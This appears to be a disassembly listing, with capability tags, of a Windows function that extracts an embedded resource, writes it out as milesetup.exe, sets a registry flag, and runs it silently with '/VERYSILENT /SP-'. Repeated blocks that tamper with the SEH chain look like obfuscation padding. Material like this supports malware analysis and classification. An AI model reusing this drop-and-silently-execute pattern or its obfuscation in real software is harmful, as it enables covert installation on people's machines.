Function at 0x401770
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Set registry value
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x4144b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov esi, edx
push esi
push 0
mov ebx, ecx
mov dword [ebp - 0x118], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
mov dword [ebp - 0x11c], eax
call edi
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x4017cf
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004031ae
mov esp, ebp
pop ebp
ret
nop
nop
nop
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1b207
push 0x3640e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x4017bb
mov eax, dword [ebp - 0x118]
push ebx
call fcn.004014c0
mov ecx, eax
add esp, 4
mov dword [ebp - 0x118], ecx
nop
nop
nop
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1b207
push 0x3640e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
test ebx, ebx
je 0x4017bb
nop
nop
nop
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1b207
push 0x3640e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
push 1
call edi
mov edx, dword [ebp - 0x11c]
push 0
lea ecx, [ebp - 0x114]
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
nop
nop
nop
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1b207
push 0x3640e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1b207
push 0x3640e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
push str.milesetup.exe
call fcn.00401660
push str.milesetup.tmp
call fcn.00401660
nop
nop
nop
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1b207
push 0x3640e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
push str.Assistant
lea eax, [ebp - 0x110]
push str.Software_s
push eax
call fcn.00403796
add esp, 0xc
nop
nop
nop
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1b207
push 0x3640e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
cmp byte [0x416c07], 0
je 0x401a23
push 1
mov dword [ebp - 0x120], 1
call edi
lea ecx, [ebp - 0x11c]
push ecx
lea edx, [ebp - 0x110]
push edx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push 1
call edi
mov ecx, dword [ebp - 0x11c]
push 4
lea eax, [ebp - 0x120]
push eax
push 4
push 0
push str.slnt
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x11c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call 0x401260
push 1
call edi
call 0x401260
mov eax, dword [ebp - 0x118]
push 0
push 0
push str._VERYSILENT__SP_
push eax
jmp 0x401a33
mov ecx, dword [ebp - 0x118]
push 0
push 0
push 0x4128f9
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.004031ae
mov esp, ebp
pop ebp
ret